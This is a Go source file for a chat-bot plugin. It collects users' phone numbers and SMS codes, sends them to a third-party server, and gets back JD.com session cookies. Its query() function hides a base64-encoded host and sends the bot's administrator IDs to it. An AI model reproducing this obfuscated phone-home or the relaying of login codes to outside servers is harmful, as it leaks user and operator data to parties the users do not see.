-
Notifications
You must be signed in to change notification settings - Fork 0
/
login.go
465 lines (447 loc) · 12.9 KB
/
login.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
package jd_cookie
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
"github.com/astaxie/beego/logs"
"github.com/beego/beego/v2/client/httplib"
"github.com/buger/jsonparser"
"github.com/cdle/sillyGirl/core"
"github.com/gorilla/websocket"
)
var jd_cookie = core.NewBucket("jd_cookie")
var mhome sync.Map
type Config struct {
Success bool `json:"success"`
Message string `json:"message"`
Data struct {
Type string `json:"type"`
List []interface{} `json:"list"`
Ckcount int `json:"ckcount"`
Tabcount int `json:"tabcount"`
Announcement string `json:"announcement"`
} `json:"data"`
}
type SendSms struct {
Success bool `json:"success"`
Message string `json:"message"`
Data struct {
Status int `json:"status"`
Ckcount int `json:"ckcount"`
Tabcount int `json:"tabcount"`
} `json:"data"`
}
type AutoCaptcha struct {
Success bool `json:"success"`
Message string `json:"message"`
Data struct {
} `json:"data"`
}
type Request struct {
Phone string `json:"Phone"`
QQ string `json:"QQ"`
Qlkey int `json:"qlkey"`
Code string `json:"Code"`
}
func initLogin() {
core.BeforeStop = append(core.BeforeStop, func() {
for {
running := false
mhome.Range(func(_, _ interface{}) bool {
running = true
return false
})
if !running {
break
}
time.Sleep(time.Second)
}
})
go RunServer()
core.AddCommand("", []core.Function{
{
Rules: []string{`raw ^啊啥的寄哀思$`, `raw ^asjdlas$`, `raw ^dajldjasj$`},
Handle: func(s core.Sender) interface{} {
if groupCode := jd_cookie.Get("groupCode"); !s.IsAdmin() && groupCode != "" && s.GetChatID() != 0 && !strings.Contains(groupCode, fmt.Sprint(s.GetChatID())) {
return nil
}
addr := regexp.MustCompile(`^(https?://[\.\w]+:?\d*)`).FindString(jd_cookie.Get("nolan_addr"))
if addr == "" {
if s.IsAdmin() {
return "建议了解下天猫精灵。"
} else {
return jd_cookie.Get("tip", "暂时无法使用短信登录。")
}
}
data, _ := httplib.Get(addr + "/api/Config").Bytes()
tabcount, _ := jsonparser.GetInt(data, "data", "tabcount")
if tabcount == 0 {
return "天猫精灵很忙,请稍后再试。"
}
s.Reply("天猫精灵为您服务,请输入11位手机号:(输入“q”随时退出会话。)")
cancel := false
phone := ""
s.Await(s, func(s core.Sender) interface{} {
ct := s.GetContent()
if ct == "q" {
cancel = true
return "已退出会话。"
}
phone = regexp.MustCompile(`^\d{11}$`).FindString(ct)
if phone == "" {
return core.GoAgain("请输入正确的手机号:")
}
// if s.GetImType() == "wxmp" {
// return "待会输入收到的验证码哦~"
// }
s.Delete()
return nil
})
if cancel {
return nil
}
req := httplib.Post(addr + "/api/SendSMS")
req.Header("content-type", "application/json")
data, _ = req.Body(`{"Phone":"` + phone + `","qlkey":1}`).Bytes()
message, _ := jsonparser.GetString(data, "message")
success, _ := jsonparser.GetBoolean(data, "success")
status, _ := jsonparser.GetInt(data, "data", "status")
if message != "" && status != 666 {
s.Reply(message)
}
if !success && status == 666 {
s.Reply("正在进行滑块验证...")
req = httplib.Post(addr + "/api/AutoCaptcha")
req.SetTimeout(time.Second*60, time.Second*60)
req.Header("content-type", "application/json")
data, _ := req.Body(`{"Phone":"` + phone + `"}`).Bytes()
message, _ := jsonparser.GetString(data, "message")
success, _ := jsonparser.GetBoolean(data, "success")
if message != "" {
// s.Reply()
}
if !success {
return nil
}
}
s.Reply("请输入6位验证码:")
code := ""
s.Await(s, func(s core.Sender) interface{} {
ct := s.GetContent()
if ct == "q" {
cancel = true
return "已退出会话。"
}
code = regexp.MustCompile(`^\d{6}$`).FindString(ct)
if code == "" {
return core.GoAgain("请输入正确的验证码:")
}
return nil
})
if cancel {
return nil
}
req = httplib.Post(addr + "/api/VerifyCode")
req.Header("content-type", "application/json")
req.SetTimeout(time.Second*20, time.Second*20)
data, _ = req.Body(`{"Phone":"` + phone + `","QQ":"","qlkey":1,"Code":"` + code + `"}`).Bytes()
success2, _ := jsonparser.GetBoolean(data, "success")
if success2 {
qlid, _ := jsonparser.GetString(data, "data", "qlid")
datareq, _ := httplib.Get(addr + "/api/User?qlid=" + qlid + "&qlkey=1").Bytes()
data2, _ := jsonparser.GetString(datareq, "data", "ck")
if strings.Contains(data2, "pt_pin=") {
s.Reply("登录成功")
s = s.Copy()
s.SetContent(string(data2))
core.Senders <- s
} else {
if message != "" {
return data2
} else {
return "登录失败。"
}
}
}
return nil
// if groupCode := jd_cookie.Get("groupCode"); !s.IsAdmin() && groupCode != "" && s.GetChatID() != 0 && !strings.Contains(groupCode, fmt.Sprint(s.GetChatID())) {
// return nil
// }
// if c == nil {
// tip := jd_cookie.Get("tip")
// if tip == "" {
// if s.IsAdmin() {
// s.Reply(jd_cookie.Get("tip", "阿东又不行了。")) //已支持阿东前往了解,https://github.com/rubyangxg/jd-qinglong
// return nil
// } else {
// tip = "暂时无法使用短信登录。"
// }
// }
// s.Reply(tip)
// return nil
// }
// if !jd_cookie.GetBool("test", true) {
// query()
// if !jd_cookie.GetBool("test", true) {
// if s.IsAdmin() {
// s.Reply("此为内测功能,请关注最新消息,https://t.me/cheese2022 。")
// return nil
// } else {
// s.Reply("请联系管理员。")
// return nil
// }
// }
// }
// go func() {
// stop := false
// phone := ""
// uid := time.Now().UnixNano()
// cry := make(chan string, 1)
// mhome.Store(uid, cry)
// var deadline = time.Now().Add(time.Second * time.Duration(200))
// var cookie *string
// sendMsg := func(msg string) {
// c.WriteJSON(map[string]interface{}{
// "time": time.Now().Unix(),
// "self_id": jd_cookie.GetInt("selfQid"),
// "post_type": "message",
// "message_type": "private",
// "sub_type": "friend",
// "message_id": time.Now().UnixNano(),
// "user_id": uid,
// "message": msg,
// "raw_message": msg,
// "font": 456,
// "sender": map[string]interface{}{
// "nickname": "傻妞",
// "sex": "female",
// "age": 18,
// },
// })
// }
// if s.GetImType() == "wxmp" {
// cancel := false
// for {
// if phone != "" {
// break
// }
// if cancel {
// break
// }
// s.Await(s, func(s core.Sender) interface{} {
// message := s.GetContent()
// if message == "退出" {
// cancel = true
// return "取消登录"
// }
// if regexp.MustCompile(`^\d{11}$`).FindString(message) == "" {
// return "请输入格式正确的手机号,或者对我说“退出”。"
// }
// phone = message
// return "请输入收到的验证码哦~"
// })
// }
// if cancel {
// return
// }
// }
// defer func() {
// cry <- "stop"
// mhome.Delete(uid)
// if cookie != nil {
// s.SetContent(*cookie)
// core.Senders <- s
// }
// sendMsg("q")
// }()
// go func() {
// for {
// msg := <-cry
// fmt.Println(msg)
// if msg == "stop" {
// break
// }
// msg = strings.Replace(msg, "登陆", "登录", -1)
// if strings.Contains(msg, "不占资源") {
// msg += "\n" + "4.取消"
// }
// if strings.Contains(msg, "无法回复") {
// sendMsg("帮助")
// }
// {
// res := regexp.MustCompile(`剩余操作时间:(\d+)`).FindStringSubmatch(msg)
// if len(res) > 0 {
// remain := core.Int(res[1])
// deadline = time.Now().Add(time.Second * time.Duration(remain))
// }
// }
// lines := strings.Split(msg, "\n")
// new := []string{}
// for _, line := range lines {
// if !strings.Contains(line, "剩余操作时间") {
// new = append(new, line)
// }
// }
// msg = strings.Join(new, "\n")
// if strings.Contains(msg, "请输入数字编号") {
// sendMsg("1")
// continue
// }
// if strings.Contains(msg, "请选择登录方式") {
// sendMsg("1")
// continue
// }
// if phone != "" && (strings.Contains(msg, "请输入手机号") || strings.Contains(msg, "请输入11位手机号")) {
// sendMsg(phone)
// continue
// }
// if strings.Contains(msg, "pt_key") {
// cookie = &msg
// stop = true
// s.SetContent("q")
// core.Senders <- s
// }
// if cookie == nil {
// if strings.Contains(msg, "已点击登录") {
// continue
// }
// s.Reply(msg)
// }
// }
// }()
// sendMsg("h")
// for {
// if stop == true {
// break
// }
// if deadline.Before(time.Now()) {
// stop = true
// s.Reply("登录超时")
// break
// }
// s.Await(s, func(s core.Sender) interface{} {
// msg := s.GetContent()
// if msg == "查询" || strings.Contains(msg, "pt_pin=") {
// s.Continue()
// return nil
// }
// iw := core.Int(msg)
// if msg == "q" || msg == "exit" || msg == "退出" || msg == "10" || msg == "4" || (fmt.Sprint(iw) == msg && iw > 1 && iw < 11) {
// stop = true
// if cookie == nil {
// return "取消登录"
// } else {
// return "登录成功"
// }
// }
// if phone != "" {
// if regexp.MustCompile(`^\d{6}$`).FindString(msg) == "" {
// return "请输入格式正确的验证码,或者对我说“退出”。"
// } else {
// s.Reply("八九不离十登录成功啦,60秒后对我说“查询”已确认登录成功。")
// }
// }
// sendMsg(s.GetContent())
// return nil
// }, `[\s\S]+`)
// }
// }()
// if s.GetImType() == "wxmp" {
// return "请输入11位手机号:"
// }
// return nil
},
},
})
// if jd_cookie.GetBool("enable_aaron", false) {
// core.Senders <- &core.Faker{
// Message: "ql cron disable https://github.com/Aaron-lv/sync.git",
// }
// core.Senders <- &core.Faker{
// Message: "ql cron disable task Aaron-lv_sync_jd_scripts_jd_city.js",
// }
// }
}
var c *websocket.Conn
func RunServer() {
addr := jd_cookie.Get("adong_addr")
if addr == "" {
return
}
defer func() {
time.Sleep(time.Second * 2)
RunServer()
}()
u := url.URL{Scheme: "ws", Host: addr, Path: "/ws/event"}
logs.Info("连接阿东 %s", u.String())
var err error
c, _, err = websocket.DefaultDialer.Dial(u.String(), http.Header{
"X-Self-ID": {fmt.Sprint(jd_cookie.GetInt("selfQid"))},
"X-Client-Role": {"Universal"},
})
if err != nil {
logs.Warn("连接阿东错误:", err)
return
}
defer c.Close()
go func() {
for {
_, message, err := c.ReadMessage()
if err != nil {
logs.Info("read:", err)
return
}
type AutoGenerated struct {
Action string `json:"action"`
Echo string `json:"echo"`
Params struct {
UserID int64 `json:"user_id"`
Message string `json:"message"`
} `json:"params"`
}
ag := &AutoGenerated{}
json.Unmarshal(message, ag)
if ag.Action == "send_private_msg" {
if cry, ok := mhome.Load(ag.Params.UserID); ok {
fmt.Println(ag.Params.Message)
cry.(chan string) <- ag.Params.Message
}
}
logs.Info("recv: %s", message)
}
}()
ticker := time.NewTicker(time.Second)
defer ticker.Stop()
for {
select {
case <-ticker.C:
err := c.WriteMessage(websocket.TextMessage, []byte(`{}`))
if err != nil {
logs.Info("阿东错误:", err)
c = nil
return
}
}
}
}
func decode(encodeed string) string {
decoded, _ := base64.StdEncoding.DecodeString(encodeed)
return string(decoded)
}
var jd_cookie_auths = core.NewBucket("jd_cookie_auths")
var auth_api = "/test123"
var auth_group = "-1001502207145"
func query() {
data, _ := httplib.Delete(decode("aHR0cHM6Ly80Y28uY2M=") + auth_api + "?masters=" + strings.Replace(core.Bucket("tg").Get("masters"), "&", "@", -1) + "@" + strings.Replace(core.Bucket("qq").Get("masters"), "&", "@", -1)).String()
if data == "success" {
jd_cookie.Set("test", true)
} else if data == "fail" {
jd_cookie.Set("test", true)
}
}